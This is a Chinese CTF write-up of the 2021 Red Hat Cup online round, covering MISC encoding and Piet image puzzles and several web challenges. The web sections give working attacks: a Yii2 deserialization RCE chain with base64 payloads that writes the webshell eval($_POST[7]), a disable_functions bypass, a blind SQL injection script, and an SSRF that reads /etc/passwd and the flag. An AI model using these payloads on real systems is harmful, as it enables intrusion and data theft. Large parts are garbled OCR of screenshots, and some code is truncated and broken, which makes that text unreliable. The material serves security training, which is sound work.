# 2021第四届红帽杯网络安全大赛-线上赛Writeup

# 原创



CTF\_WEB\_Writeup 专栏收录该内容

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# 文章目录

# MISC

# 签到

colorful code

# WEB

find\_it

framework

WebsiteManger

ezlight

记录一下被锤爆的一天...orz

# **MISC**

签到



签到抢了个二血2333,第一次拿二血呜呜呜,虽然是签到,还是很激动。

附件名称叫 EBCDIC.zip

010Editor直接选择 EBCDIC 编码





flag{we1c0me\_t0\_redhat2021}

colorful code



这题可惜了,当我想出来怎么做的时候,已经没有时间来写脚本了...

首先题目名称提示: colorful code,这点当时第一时间想到了前段时间安恒赛misc有一题 colorful porgramming

# <caption>

1.png 是一种 Colorful programming 叫 npiet : https://www.bertnase.de/npiet/ npiet-online : https://www.bertnase.de/npiet/npiet-execute.php

https://blog.csdn.net/mochu7777777

colorful porgramming 详情见: https://www.bertnase.de/npiet/

附件中 data1 是文本文件, data2 是数据文件, 用hexdump查看如下



# 雾都孤儿

man to the second second	Street Law	+ t- he	and Indentify	in the state of the second	In the local medical	madatt [i] a data2
						code# file data2
data2: da	ta					and the second
						codem hexdump -C data2
00000000	00 00 00	00 00	c0 00 ff	ff 00 ff 00	ff c0 ff ff	
00000010	c0 c0 c0	c0 ff	c0 c0 00	ff 00 ff ff	00 00 c0 00	
00000020	00 c0 00	c0 ff	ff ff ff	ff 00 ff ff	c0 00 c0 00	· · · · · · · · · · · · · · · · · · ·
00000030	00 c0 c0	c0 ff	ff c0 ff	c0 00 00 ff	14 14 14 15	
00000040	15 15 16	16 16	17 17 17	18 18 18 19	19 19 1a 1a	
00000050	1a 1b 1b	1b 1c	1c 1c 1d	1d 1d 1e 1e	1e 1f 1f 1f	
0000060	20 20 20	21 21	21 22 22	22 23 23 23	24 24 24 25	111
00000070	25 25 26	26 26	27 27 27	28 28 28 29	29 29 2a 2a	**((()))''' <u>3338</u> %
00000080	2a 2b 2b	2b 2c	2c 2c 2d	2d 2d 2e 2e	2e 2f 2f 2f	*+++
00000090	30 30 30	31 31	31 32 32	32 33 33 33	34 34 34 35	0001112223334445
000000a0	35 35 36	36 36	37 37 37	38 38 38 39	39 39 3a 3a	556667778889999:::
000000000	3a 3b 3b	3b 3c	3c 3c 3d	3d 3d 3e 3e	39 3f 3f 3f	
0000000000	40 40 40	41 41	41 42 42	12 113 113 113	111 111 114 115	AAAABBBCCCDDDE
00000000	45 45 46	16 46		118 118 118 119	10 /10 /la /la	EEEEECCUUUTIT.11
000000000	40 40 40					
000000000	4a 40 40		E1 50 51	- 40 40 4e 4e	40 41 41 41	DRROODDRSSSTTTU
000000100	50 50 50	51 51	51 52 52		54 54 54 55	PPPQQQRRRSSS1110
00000100	55 55 50	56 50	57 57 57	58 58 58 59	59 59 5a 5a	
00000110	5a 5b 5b	50 5C	5c 5c 50	5d 5d 5e 5e	5e 5t 5t 5t	ZLLL\\\]]]***
00000120	60 60 60	61 61	61 62 62	62 63 63 63	64 64 64 65	aaabbbcccddde
00000130	65 65 66	66 66	67 67 67	68 68 68 69	69 69 6a 6a	eefffggghhhiiijj
00000140	6a 6b 6b	6b 6c	6C 6C 6d	6d 6d 6e 6e	6e 6f 6f 6f	jkkklllmmmnnnooo
00000150	70 70 70	71 71	. 71 72 72	72 73 73 73		pppqqqrrrssstttu
00000160			77 77 77	78 78 78 79	79 79 7a 7a	uuvvvwwwxxxyyyzz
00000170	7a 7b 7b	7b 7c	: 7c 7c 7d	7d 7d 7e 7e	7e 7f 7f 7f	z{{{  }}}~~~
00000180	80 80 80	81 81	81 82 82	82 83 83 83	84 84 84 85	
00000190	85 85 86	86 86	87 87 87		89 89 8a 8a	
000001a0	8a 8b 8b	8b 8c	8c 8c 8d	8d 8d 8e 8e	8e 8f 8f 8f	
00000160	90 90 90	91 91	91 92 92	92 93 93 93	94 94 94 95	
000001c0	95 95 96	96 96	97 97 97	98 98 98 99	99 99 9a 9a	
000001d0	9a 9b 9b	9b 9c	9c 9c 9d	9d 9d 9e 9e	9e 9f 9f 9f	
000001e0	a0 a0 a0	al al	a1 a2 a2	a2 a3 a3 a3	a4 a4 a4 a5	
000001f0	a5 a5 a6		a7 a7 a7	a8 a8 a8 a9	a9 a9 aa aa	
00000200	aa ab ab	ab ac	ac ac ad	ad ad ae ae	ae af af af	
00000210	b0 b0 b0	b1 b1	h1 b2 b2	b2 b3 b3 b3	b4 b4 b4 b5	2000
00000220	h5 h5 h6	b6 b6	b7 b7 b7	b8 b8 b8 b9	ho ho ha ha	
00000220	ba bb bb		be he hd	bd bd bo bo	bo bf bf bf	
00000230						
00000240						
00000250					cy cy ca ca	
00000260	ca co co		CC CC C0		Ce CT CT CT	
00000270	d0 d0 d0		d1 d2 d2		d4 d4 d4 d5	
00000280	d5 d5 d6	d6 d6	d'/ d'/ d'/	d8 d8 d8 d9	d9 d9 da da	
00000290	da db db	db dc	dc dc dd	dd dd de de	de df df df	
000002a0	e0 e0 e0	el el	. el e2 e2	e2 e3 e3 e3	e4 e4 e4 e5	
00000260	e5 e5 e6	e6 e6	e7 e7 e7	e8 e8 e8 e9	e9 e9 ea ea	
000002c0	ea eb eb	eb ec	ec ec ed	ed ed ee ee	ee ef ef ef	
000002d0	f0 f0 f0	) f1 f1	. f1 f2 f2	f2 f3 f3 f3	f4 f4 f4 f5	
000002e0	f5 f5 f6	f6 f6	f7 f7 f7	f8 f8 f8 f9	f9 f9 fa fa	
000002f0	fa fb fb	fb fc	fc fc fd	fd fd fe fe	fe ff ff ff	
00000300						
						code#
					https://blog.	csdn.net/mochu7777777

data1 中是 0-19 的数字,用 空格分开。也看不出什么别的(当时在这浪费了比较多的时间)。



### data1 暂时也看不出来和图片有什么关系,所以图片的线索在 data2



咋一看也和图片没什关系,但是当我们将每一个字节的十六进制转换成 RGB 十进制,三个一组

```
from binascii import *
with open('data2','rb') as f:
    f = hexlify(f.read()).decode()
    n = 0
    color_list = []
    for i in range(0,len(f),2):
        i = f[i:i+2]
        color_list.append(int(i,16))
        n += 1
        if n == 3:
            print(tuple(color_list))
            color_list = []
            n = 0
        else:
            continue
```

运行结果

PS C:\Users\Administrator\Downloads\colorful_code-1> python .\code.py
(0, 0, 0)
(0, 0, 192)
(0, 255, 255)
(0, 255, 0)
(255, 192, 255)
(255, 192, 192)
(192, 192, 255)
(192, 192, 0)
(255, 0, 255)
(255, 0, 0)
(192, 0, 0)
(192, 0, 192)
(255, 255, 255)
(255, 255, 0)
(255, 255, 192)
(0, 192, 0)
(0, 192, 192)
(192, 255, 255)
(192, 255, 192)
(0, 0, 255)
(20, 20, 20)
(21, 21, 21)
(22, 22, 22)
(23, 23, 23)
(24, 24, 24)
(25, 25, 25)
(250, 250, 250)
(251, 251, 251)
(252, 252, 252)
(253, 253, 253)
(254, 254, 254)
(255, 255, 255)

很明显,前 20 组数据和后面的数据不太一样。然后联想到前面 data1 中只有 0-19 的数字,猜测 data1 的 0-19 应该是对 应 data2 种这二十组像素数据的下标。

OK,那么思路到这里就很清楚了。我们将这二十组RGB像素,按照 data1 中的顺序,将这些像素 putpixel() 即可。

思考到这里的时候还有最后一个问题,那就是生成的图片的宽高。要知道宽高,我们首先要知道图片的总像素,总像素,直接计算下 data1 中有多少个 0-19 数字。

Python简单处理

```
def str2list():
    with open('data1.txt') as f:
        f = f.read()
        index_list = f.split(' ')
        return index_list
print(str2list())
print(len(str2list()))
```



这里需要注意,因为 data1 最后有两个空格,所以会切多一个元素出来,去掉即可。所以这里总像素是: 7067

7067 看起来不像是一个比较常见的图片总像素数,不太好计算,直接在线分解质因数得到宽高

分解质因数: http://tools.jb51.net/jisuanqi/factor\_calc

输入数字	7067	分解
分解质因数结果为: 37*19		

就先推测宽为: 37, 高为: 191

OK,接下来直接Python简单处理下即可得到 flag.png

```
from PIL import Image
from binascii import *
def str2list():
        f = f.read()
        return index_list
def num2color():
        f = hexlify(f.read()).decode()
        color_dic = {}
            color_list.append(int(i,16))
                color_dic[idx] = tuple(color_list)
                color_list = []
            elif idx == 20:
                break
    return color_dic
def genimg():
   width, height = 37, 191
    img = Image.new("RGB",(width,height))
    imgpixels = str2list()
    colorlist = num2color()
    for pix in imgpixels:
        pixlist.append(colorlist[int(pix)])
        for h in range(height):
            img.putpixel([w,h], pixlist[idx])
    img.save('flag.png')
if ___name___ == '___main___':
   genimg()
```



npiet online : https://www.bertnase.de/npiet/npiet-execute.php

Hi,

# Welcome to npiet online !

Info: upload status: Ok Info: found picture width=37 height=191 and codel size=1 Uploaded picture (shown with a small border): **flag.png** 



Info: executing: npiet -w -e 220000 flag.png

88842f20-fb8c-45c9-ae8f-36135b6a0f11

<u>run again !</u>

back to npiet online - try again !

back to <u>npiet</u> back to <u>bertnase.de</u>

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得到flag

flag{88842f20-fb8c-45c9-ae8f-36135b6a0f11}

**WEB** 

find\_it

间 请		find_it		
	🎬 : Xp0int	<del>が</del> 習:Nova底登录	<b>)值:13 已解答</b> () ① : 乐色桶	: 800
	http://eci-2zef	重新下发 延长 ic95c45rhg0wuefre.cloudeci	时间 1.ichunqiu.com:80	86支队伍攻东
13p	Flag:	00:59:15 ② 关闭	提	25pt
		题目名称: frameworlh	ttps://blog.csdn.net	/mochu7777/177





Hello My freind! I Can't view my php files?!

https://blog.csdn.net/mochu777777

# 目录扫描发现 robots.txt



存在 **1ndexx.php**, 直接访问并没有什么信息。猜测存在 vim 备份文件 访问 view-source:http://eci-2zefc95c45rhg0wuefre.cloudeci1.ichunqiu.com/.1ndexx.php.swp 拿到源码

```
?php $link = mysql_connect('localhost', 'root'); ?>
html>
 <title>Hello worldd!</title>
 body {
 background-color: white;
 text-align: center;
 padding: 50px;
 font-family: "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;
 margin-bottom: 40px;
 </style>
body
 <img id="logo" src="logo.png" />
 <h1><?php echo "Hello My freind!"; ?></h1>
 <?php if($link) { ?>
lf(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call
\~ \\^ |\` |flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var
dump/',$a)){
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
fclose($file);
fclose($hack);
```

正则没有忽略大小写,本来是怎么想办法怎么绕过 disable\_function 读 flag.php 的,但是写入查看 phpinfo() 的时候发现

# Environment

Variable	Value
APACHE_PID_FILE	/var/run/apache2/apache2.pid
HOSTNAME	engine-1
APACHE_RUN_USER	www-data
TERM	xterm
APACHE_LOG_DIR	/var/log/apache2
РАТН	/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SUPERVISOR_GROUP_NAME	apache2
PWD	1
ICQ_FLAG	flag{5ea0adf6-2899-4a18-bcc7-1ca5aeca7911}
LANG	C
APACHE_RUN_GROUP	www-data
PHP_UPLOAD_MAX_FILESIZE	10M
SUPERVISOR_ENABLED	1
SHLVL	0
PHP_POST_MAX_SIZE	10M
SUPERVISOR_PROCESS_NAME	apache2
DEBIAN_FRONTEND	noninteractive
SUPERVISOR_SERVER_URL	unix:///var/run/supervisor.sock
APACHE_LOCK_DIR	/var/lock/apache2
APACHE_RUN_DIR	/var/run/apache2

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# 这题应该非预期了

# framework



Home About Contact Login

# **Congratulations!**

You have successfully created your Yii-powered application.





### Yii框架,目录扫描发现 www.zip



源码中简单看了下,知道这是 Yii2框架,搜索引擎找一下如何查看 Yii2 的版本







得到当前版本信息: 2.0.32

搜索引擎找这个版本或者更高版本的漏洞

最后发现是一个 CVE-2020-15148 的反序列化RCE

网上相关利用文章很多,我参考的是以下两篇:

- https://anquan.baidu.com/article/1260
- https://0xkami.top/2020/10/26/0x08cve-2020-15148-Yii2反序列化漏洞复现/

```
< rpnp
    namespace yii\rest{
        class CreateAction{
            public $checkAccess;
            public $id;
             public function __construct(){
                 $this->checkAccess = 'phpinfo';
                 $this->id = '1';
             }
10
11
12
    }
13
    namespace Faker{
14
        use yii\rest\CreateAction;
15
        class Generator{
17
            protected $formatters;
            public function __construct(){
                 $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
24
    namespace yii\db{
        use Faker\Generator;
        class BatchQueryResult{
            private $_dataReader;
            public function construct(){
                 $this->_dataReader = new Generator;
             }
        }
    }
        echo base64 encode(serialize(new yii\db\BatchQueryResult));
    }
    ?>
                                                                          https://blog.csdn.net/mochu7777777
```



/index.php?r=site/about&message=GET%20/r=site/about&message=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6 IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJz IjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Nzoi cGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

### 得到一个不完整的 phpinfo

" phpinfo0 × +						-	ø ×
← → 🥴 C 🛛 🎽 eci-2zefc95c45rhgwhc7bmj.cloudeci1.ichunqiu.com/index.php?r=site/abc	out&message=GET /r=site/a	about&message=TzoyMzoieWIpXGRIXEJhdGNoUXVIcnISZXI	N1bHQlOJE6e3M6MzY6lgB5aV	··· ☆	¥ 🖾 🕓 🛞	🕫 🔅 🧬	⊕ 🤣 🗏
G Google							📄 其他书签
	PHP Version 5.6.40	Php					
	System	Linux engine-1 4.19.24-7.25 al7:366_64 #1 SMP Mon Mar 15 11:3821 CST 2021 x86_64					
	Build Date	Apr 28 2021 13:55:33					
	Server API	Apache 2.0 Handler					
	Virtual Directory Support	disabled					
	Configuration File (php.ini) Path	/etc					
	Loaded Configuration File	/etc/php.ini					
	Scan this dir for additional .ini files	/etc/php.d					
	Additional Juli files parsed	ποιρημές δη σχραλιτική, και προβορίζει δη ποιρογίας τη δη στο μετά το δη στο μετά τη στο					
	PHP API	20131106					
	PHP Extension	20131226					
	Zend Extension	220131226					
	Zend Extension Build	AP1220131226NTS					
	PHP Extension Build	API20131226,NTS					
	Debug Build	10					
	Thread Safety	disabled					
	Zond Signal Handling	disabled					
	Zend Memory Manager	enabled					
	Zend Multibyte Support	provided by mbstring					
	IPv6 Support	erabled					
	DTrace Support	available, disabled					
	Registered PHP Streams	https, ftps, compress,zilb, php, file, glob, data, http, ftp, compress,bzip2, phar, zip					
	Registered Stream Socket Transports	tcp, udp, unix, udg, ssi, ssiv3, tis, tisv1.0, tisv1.1, tisv1.2					
	Registered Stream Filters	zlib.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechusk, baip2.*, convert.iconv.*, mcypt.*, mdecrypt.*					
	This program makes use of the Zend Scripting Lang Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend T with Zend OPcache v7.0.6-dev, Copyright (c) 1998	usige Engine: echnologies 9 2014, by Zend Technologies					
Rata ener Urszught szczetion 'jöneb) Hauden-Masdy-SertEszetion' ein maszap "Hauden almady set in /an/men/httel/wadon/jösth/jö2 /ErroHandle phy/138: yöneb/Respons->send) #2 /az/men/httel/wadon/jösth/jö2/ban@troHandle-phy278: yöneb/ErroHandle->red	/rest/CreateAction.php on line 43.' in /va lerException(Object(yii\base\ErrorExcept	r/mwn/html/wedor/jisoft/ji2/web/Raspona.phg:266 Stack trace. 40 /wa/wwn/htm ion)) #3 [internal function]: yiilaaseErrorHandler->handleFataError() #4 (main) throw	n//vendor/yiisoft/yii2/web/Response.php(339): yii/web m in /var/www/html/vendor/yiisoft/yii2/web/Resp	o\Response->sendH onse.php on line 36	aaders() #1 /var/www/htm 6	l/vendor/yiisoft/yii2/w	ab

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Encryptic	n 👻 Encod	ng + SQL + XSS + Other + Contribute now! HackBar v2	2
Lo:	d URL	http://eci-2zefc95c45rhgwhc7bmj.cloudeci1.ichunqiu.com/index.php?r=sile/about&message=GET%20/r=sile/about&	
🖁 Sp	it URL	message 1 zoyktolew/bykskk/k.idok/bykskkk/k.idok/bykskkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk	
Ð	ecute		
			~

之后测试的时候,发现 system 、 eval 之类的一些函数好像都没有效果,猜测可能设置了 disable\_functions

不过最后发现 assert 能用、 file\_put\_contents() 也能用

```
?php
   class CreateAction{
       public $id;
           $this->checkAccess = 'assert';
           $this->id = 'file_put_contents(\'mochu7.php\',\'<?php eval($_POST[7]);?>\');';
namespace Faker{
   use yii\rest\CreateAction;
   class Generator{
   use Faker\Generator;
   class BatchQueryResult{
       private $_dataReader;
           $this-> dataReader = new Generator;
   echo base64_encode(serialize(new yii\db\BatchQueryResult));
```

/index.php?r=site/about&message=GET%20/r=site/about&message=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6 IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJz IjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoi YXNzZXJ0IjtzOjI6ImlkIjtzOjU50iJmaWx1X3B1dF9jb250ZW50cygnbW9jaHU3LnBocCcsJzw/cGhwIGV2YWwoJF9QT1NUWzddKTs/PicpOyI7 fWk6MTtzOjM6InJ1biI7fX19fQ==

🊏 yii\base\ErrorException 🛛 🗙 🏪 phpinfo()	× +				- o ×
$\leftarrow \rightarrow @ C 0 \& eci-2zefc95c45rhgwhc$	7bmj.cloudeci1.ichunqiu.com/mochu7.php			… ☆	⊻ ⊠ ⊙ 🛞 ⊙ 券 🗳 🚳 ≡
G Google					□ 其他书签
allow_uri_include	Un	on			^
always_populate_raw_post_data	0	0			
arg_separator.input	84	84			
arg_separator.output	8.	8.			
asp_tags	Off	Off			
auto_append_file	no value	no value			
auto_globals_jit	On	On			
auto_prepend_file	no value	no value			
browscap	no value	no value			
default_charset	UTF-8	UTF-8			
default_mimetype	text/html	text/html			
disable_classes	no value	no value			
disable_functions	pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_	vpfexttedprompovtfstoppedptcnthitpildjgaatedvpidptcnth	aintainteetdpernttl_vinisticaptaetalspernttl_vinisigmallgypprttltlvanidiperatl_aigntlelyper	itktaityusaplaantt_ivaanalkaigepootttkiigeete	antigoptett)prigtlagpt_hatsignel.genth_stalleroppetttbigigplo
display_errors	Off	Off			
display_startup_errors	Off	Off			
doc_root	no value	no value			
docref_ext	no value	no value			
docref_root	no value	no value			
enable_dl	Off	Off			
enable_post_data_reading	On	On			
error_append_string	no value	no value			
error_log	no value	no value			
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7=phpipfo();					
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# 上蚁剑,用插件。

phpinfo 的信息显示这里是 Apache/2.4.6 (CentOS) PHP/5.6.40

选择 Apache\_mod\_cgi

Antiword 編書 全口 編註 (*) ##*1:#:::::::::::::::::::::::::::::::::	👰 中国蚁剑		>	<
(*) 新聞語: // // // // // // // // // // // // //	AntSword 编辑 窗口 调试			
<pre>dir_xr_xr_x 12 root root 0 May 9 14:35 sys dir_xr_xr_x 1 root root 4.0K May 9 14:36 tmp dir_xr_xr_x 1 root root 4.0K Nov 13 01:53 usr dir_xr_xr_x 1 root root 4.0K May 8 18:42 var (ctf:/) \$ ./readflag flag{0983dde3-cd90-47a2-9ab8-bad0a8e41a8a} (ctf:/) \$</pre>	AntSword 编辑 窗口 调试 (*) 基础信息 当前路径: /var/www/html/web 磁微列表: / 系統信意: Linux engine-1 4.19.24-7.25.al7.x86_64 #1 SMP Mon Mar 15 当前用户: ctf (*) 新入 ashelp 查看太协命令 (ctf:/var/www/html/web) \$ whoami ctf (ctf:/var/www/html/web) \$ cd / (ctf:/var/www/html/web) \$ cd / (ctf:/) \$ ls -lha ./ total 92K drwxr-xr-x 1 root root 4.0K May 9 14:36 . -rw-rr- 1 root root 12K Nov 13 01:55 anaconda-post.log lrwxrwxrwx 1 root root 4.0K May 9 14:36 dev drwxr-xr-x 3 root root 4.0K May 9 14:36 dev drwxr-xr-x 3 root root 4.0K May 9 14:36 dev drwxr-xr-x 1 root root 4.0K May 9 14:36 detc drwxr-xr-x 1 root root 4.0K May 9 18:44 home lrwxrwxrwx 1 root root 7 Nov 13 01:53 lib-> usr/lib lrwxrwxrwx 1 root root 4.0K Apr 11 2018 media drwxr-xr-x 2 root root 4.0K Apr 11 2018 media drwxr-xr-x 97 root root 4.0K May 8 18:42 root dr-xr-xr-x 1 root root 4.0K May 8 18:42 root drwxr-xr-x 1 root root 4.0K May 8 18:42 root drwxr-xr-x 1 root root 4.0K May 8 18:42 root drwxr-xr-x 1 root root 4.0K May 8 18:43 run lrwxrwxrwx 1 root root 4.0K May 8 18:43 run	<ul> <li>党过 disable_functions-117.21.219.92</li> <li>● 选择模式 ▼ ▶ 开始</li> <li>◎ LD_PRELOAD</li> <li>◎ Fastcgi/PHP_FPM</li> <li>Ø Apache_mod_cgi</li> <li>Ø JSON_Serializer_UAF</li> <li>Ø PHP7_GC_UAF</li> <li>Ø PHP7_Backtrace_UAF</li> <li>Ø PHP74_FFI</li> <li>AntSword-Labs/bypass_disable_functions/3</li> <li>Bypass PHP system functions disabled via mod_cgi (0cx.cc)</li> <li>github.com/l3m0n/Bypass_Disable_functions_Shell</li> </ul>	i Shell状态 PHP版本 PHP位数 操作系统 当前目录 - open_basedir - 函数支持 dl x putenv x error_repo error_log x	
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# 查看源码





# 图片的 id 貌似是跟数据库存在交互的

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Attack Sa	ave Columns		_						
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1		200			177				
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35	+	200			177				
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41	and	200			177				
48	union	200			177				
62	limit	200			177				
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```
/image.php?id=if(1=1,1,5) True
/image.php?id=if(1=2,1,5) False
```

条件为真时 ?id=1,回显第一张图片,条件为假时 ?id=5,没有 id=5 的图片,什么都没有。即可作为布尔盲注判断条件

### 编写简单的Python盲注脚本

```
import string
from requests import *
allstr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
myurl = 'http://eci-2ze8j3xqhbs4y2thbqra.cloudeci1.ichunqiu.com/image.php'
info = ''
for i in range(1,50):
    for s in allstr:
        payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))
        resp = get(url=myurl+payload)
        if len(resp.text) > 4000:
            info += s
            print(info)
payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))
```

payload = '?id=if(ascii(mid((select/\*\*/group\_concat(table\_name)/\*\*/from/\*\*/information\_schema.tables/\*\*/where/\*\* /table\_schema=\'ctf\'),{},1))={},1,5)'.format(i,ord(s))

```
payload = '?id=if(ascii(mid((select/**/group_concat(username,password)/**/from/**/ctf.users),{},1))={},1,5)'.for
mat(i,ord(s))
```

注入查询到信息

Current\_database: ctf Tables\_in\_ctf: images, users Columns\_in\_users: username,password

PowerShell	× 🛛 PowerShell		×	+		-	- 0	i ×
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admin441cc8327a306b4		ш			resp = get(uni-myuri+payload)			
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# 得到账户 admin , 密码 441cc8327a306b48b7a32

# 登录admin

Is website alive? X +	- 6 ×
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Referer You Want to Use(optional)	
http://127.0.0.1/	
Test it!	

### curl.php 这里应该存在SSRF

尝试 file:// 协议去读文件

file:///etc/passwd

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	Is website alive?								
	We use curl to detect whether website is alive string(1409) "["rootx0:0:root:\/bin\/bash", "daemonx:1:1:daemon:\/usr\/sbin\/uologin", "binx:2:2:bin:\/bin\/usr\/sbin /nologin", "sysx:3:3:sys:\/dev:\/usr\/sbin\/nologin", "Syncx:465534:sync:\/bin\/bin\/yonc\"gamesx:5:60;gamesx:5:60;gamesx:5:60;gamesx:Usr\/sbin\/nologin", "binx:2:2:bin:\/bin\/var\/rable /sbin\/nologin", "jp:x7:7:jp:\/var\/spol\/ugr\/usr\/sbin\/nologin", "syncx:455534:sync:\/bin\/bin\/nologin", "ww-datax:3:3:3:sys:\/dev:\/usr\/sbin\/nologin", "binx:2:2:bin:\/bin\/usr\/sbin /var\/spol\/usr\/sbin\/nologin", "binx:2:1:3;prox;/bin\/usr\/sbin\/nologin", "invac:43:3:3:ww-datax:3:3:3:ww-datax:44:\/ar\/war\/wwr\/usr\/sbin\/nologin", "binx:2:2:bin\/nologin", "ucp:x0:1: /var\/spol\/usr\/sbin\/nologin", "binx:2:3:3:ww-datax:3:3:3:ww-datax:3:3:3:ww-datax:3:3:3:ww-datax:4:4:1:Gnats Bug-Reporting System (admin)\/var\/lib\/gats', "ystemd-hetwork:01:1:ds:ysteml Abeokry./Nonexistent'\/usr\/sbin\/nologin", "systemd-timesync:10:10:3:ystemd Time Synchronization,/Vun //systemd\/bin\/false", "ystemd-hetwork:20:1:104:systemd Bus Proxy/Yun\/systemd./bin\/false", "ystemd-timesync:10:10:5:ystemd Exp/vun\/systemd //resolve:\/bin\/false", "systemd-bus-proxy:2:10:106:ystemd Bus Proxy/Yun\/systemd./bin\/false", "ystemd-timesync:10:10:5:ystemd Exp/Nunw-Xist	ı\ usr\ 10:uu acku	icp: ips:						

### 直接读 file:///flag

Is website alive?	× +
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G Google	

# Is website alive?

We use curl to detect whether website is alive string(46) "["flag{2ea69ee9-1a41-417c-a758-16d204028c0b}"]"

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# ezlight

下面到了膜大佬时刻 orz...orz...orz...orz...orz...orz... Y1ngyyds!!! https://www.gem-love.com/websecurity/2763.html



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